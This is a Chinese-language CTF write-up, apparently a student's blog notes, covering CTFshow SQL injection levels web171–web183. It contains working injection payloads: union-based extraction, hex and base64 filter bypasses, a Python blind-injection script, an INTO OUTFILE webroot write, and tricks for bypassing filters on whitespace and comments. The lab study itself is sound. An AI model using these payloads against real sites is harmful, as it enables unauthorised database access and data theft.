web入门sql注入


ctf-web入门之sql注入-无过滤注入

day4 web入门之sql注入-无过滤注入

web171

单引号报错,使用--+进行注释

爆出数据库版本号是10.3.18-MariaDB库名为ctfshow_web表名为ctfshow_user字段是id,username,password

MariaDB数据库管理系统是MySQL的一个分支

image-20210624204528172

web172

与web171不同的是,可显列从三变成了二,再就是多了一个表ctfshow_user2,flag就在这个表里(其实题中已经提示了)

image-20210624205510547

image-20210624205843835

1
1' union select version(),group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web"--+

web173

多了一个ctfshow_user3的表

而且会进行正则匹配

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

preg_match用法

hex编码进行绕过

可以直接构造hex()或是先进行十六进制转换

image-20210624211902458

image-20210624211839341

后面又学到了使用base64进行绕过

web174

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

对flag和数字进行了过滤,注的时候没有回显

抓包找一下url

师傅们直接上脚本tql

fw不会,也想不到wwww

假期一定学

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

flag = ''
for i in range(1, 45):
for j in r'0123456789abcdefghijklmnopqrstuvwxyz-{}':
url = "http://ca49a442-6c6a-4266-9133-5271c3c12b5a.challenge.ctf.show:8080/api/v4.php?id="
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+'''% (i,j)
r = requests.get(url + payload)
#print(url+payload)
#print(r.text)
if 'admin' in r.text:
flag += j
print(flag)
break

image-20210625160944515

对数字进行替换base64绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//替换username
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),
'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8', 'numH'),'9', 'numI'),'0','numJ')


//替换password
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),
'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8', 'numH'),'9', 'numI'),'0','numJ')


//拿到替换后的flag
YnumCRmcnumBhvdnumCsnumDYzMnumJYTFiYSnumJnumJZjEnumALTRkZmUtOGRhMSnumJnumJMDFjYWInumENDhiNjdnumI

//然后再将得到的flag替换回来
import base64
flagstr = 'YnumCRmcnumBhvdnumCsnumDYzMnumJYTFiYSnumJnumJZjEnumALTRkZmUtOGRhMSnumJnumJMDFjYWInumENDhiNjdnumI'

flag = ''
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0')

print(base64.b64decode(flag))

image-20210625173838607

1
2
3
4
1' union select to_base64(username), to_base64 (password) from ctfshow_user4 where username= 'flag' limit 1,1--+


1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9', 'numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8', 'numH'),'9', 'numI'),'0','numJ') from ctfshow_user4 where username= 'flag' limit 1,1--+

借助web174的思路,既然可以通过hex绕过,那就去试试

1
2
3
4
numFnumCnumGnumDnumFnumFnumGnumCnumFnumHnumFFnumGnumGnumGBnumCnumHnumFnumCnumCnumCnumCnumDnumFnumAnumCnumAnumFnumBnumFnumAnumBDnumCnumDnumFnumFnumCnumAnumCnumEnumBDnumCnumDnumFnumDnumFnumFnumFnumEnumBDnumCnumHnumFnumDnumFnumAnumCnumAnumBDnumCnumDnumCnumJnumCnumAnumFnumCnumFnumAnumFnumBnumCnumInumCnumDnumCnumHnumFnumBnumCnumFnumCnumGnumGD


63746673686F777B38633334613162612D346631352D346466652D386461312D3430316361623934386236377D

image-20210625180231493

web175

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

\xnn 匹配ASCII代码中十六进制代码为nn的字符

[\x00-\x7f] 匹配ASCII值从0-127的字符

利用读写文件写入网站根目录into outfile注入

字段数仍然是二(虽然不会回显,但是错误的话会报接口的错误)

仿照web174构造

1' union select username,password from ctfshow_user5 where username="flag" into outfile '/var/www/html/ctfshow.txt' --+

在网站根目录下写入文件ctfshow.txt

Apache默认根目录是:/var/www/html

image-20210709100434410

二分法盲注

1

总结

对于无过滤的sql注入,可以通过十六进制base64编码替换进行绕过,还可以跑盲注脚本,利用二分法或sleep()函数;还可以尝试是否有权限写入网站根目录文件,然后直接访问该文件

参考博客

[CTFSHOW]SQL注入(WEB入门)

CTFSHOW WEB入门 Ttick总结

CTFshow-WEB入门-SQL注入(上)

day5 web入门之sql注入-过滤注入

web176-select被过滤

image-20210709105105072

1' Union select 1,2,3--+无回显

1' union Select 1,2,3--+有回显

经过测试是只对select进行了过滤,通过大小写绕过

payload

1' union Select 1,group_concat(username),group_concat(password) from ctfshow_user where username="flag"--+

web177-空格和#被过滤

1'--+无回显,1'--无回显,--被过滤

1'#无回显,#也被过滤,使用url编码%23绕过,1'%23有回显

而在判断字段时又没有回显,好家伙原来吧空格也过滤了,使用/**/绕过,字段数还是3

空格绕过的方式:

  1. 注释符/**/,tab键%a0
  2. 括号绕过,常用于时间盲注

payload

1'/**/union/**/select/**/1,group_concat(username),group_concat(password)/**/from/**/ctfshow_user/**/where/**/username="flag"/**/%23

web178

/**/%a0被过滤,使用括号或是%0a,%09,%0b,%0c,%0d都行

payload

1'union(select(1),(username),(password)from(ctfshow_user)where(username="flag"))%23

image-20210709170348722

web179

只剩下%0c可以用了,其他都被过滤了

image-20210709172329770

payload

1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername="flag"%0c%0c%23

image-20210709173023533

晴天师傅的通杀payload

?id='or(1)%23

web180

是对%23进行了过滤,不能注释后面的’了,只能通过构造'1'='1

贴上Y4tacker师傅的

payload

-1'or(id=26)and'1'='1

-1就是用来注释的,这个payload也相当于'or(id=26)and'1'='1

放进这个拼接的语句中就是where username !='flag' and id=''or(id=26)and'1'='1' limit 1;"

image-20210709200537410

又因为and的优先级比or高,那就又相当于

(username !='flag' and id = '') or (id=26 and'1'='1')

or右边的值为1,可以读出id=26的数据

还可以盲注

image-20210709201034411

web181

除了括号其他能代替的都被过滤了,继续使用y4师傅的payload

image-20210709210302177

web182

这次又把flag给过滤了,继续用师傅的payload

image-20210709212746118

web183

我是fw

参考文章

sql注入绕过技巧

参考博客

[CTFSHOW]SQL注入(WEB入门)

CTFSHOW WEB入门 Ttick总结

CTFshow-WEB入门-SQL注入(上)


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录